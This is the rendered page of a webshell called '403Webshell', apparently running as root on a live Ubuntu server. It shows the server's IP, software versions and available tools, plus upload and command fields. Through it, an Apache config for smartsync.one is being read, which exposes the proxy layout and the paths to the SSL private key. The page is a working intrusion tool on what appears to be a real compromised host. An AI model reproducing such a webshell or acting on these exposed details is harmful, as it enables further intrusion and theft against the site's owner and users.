403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/2985328/root/etc/apache2/sites-enabled/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/2985328/root/etc/apache2/sites-enabled/smartsync.one.conf
<VirtualHost *:80>
    ServerName smartsync.one
    ServerAlias www.smartsync.one
#    Redirect permanent / https://smartsync.one/
</VirtualHost>

<VirtualHost *:443>
    ServerName smartsync.one
    ServerAlias www.smartsync.one
    ServerAdmin webmaster@localhost

    # =========================
    # 🔧 REWRITE RULES
    # =========================
    RewriteEngine On

    # Fix /blog (no slash) → /blog/
    RewriteRule ^/blog$ /blog/ [R=301,L]

    # =========================
    # 📂 BLOG FOLDER
    # =========================
    Alias /blog/ /var/www/SmartSyncBlog/

    <Directory /var/www/SmartSyncBlog/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>

    # =========================
    # 🚫 EXCLUDE BLOG FROM PROXY
    # =========================
    ProxyPreserveHost On
    ProxyRequests Off

    ProxyPass /blog/ !

    # =========================
    # ⚛️ REACT APP (NODE - PORT 5000)
    # =========================
    ProxyPass / http://localhost:5000/
    ProxyPassReverse / http://localhost:5000/

    # =========================
    # 🔐 SSL CONFIG
    # =========================
    SSLEngine on
    SSLCertificateFile /etc/letsencrypt/live/smartsync.one/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/smartsync.one/privkey.pem

    # =========================
    # 📝 LOGS
    # =========================
    ErrorLog ${APACHE_LOG_DIR}/smartsync-error.log
    CustomLog ${APACHE_LOG_DIR}/smartsync-access.log combined
</VirtualHost>

Youez - 2016 - github.com/yon3zu
LinuXploit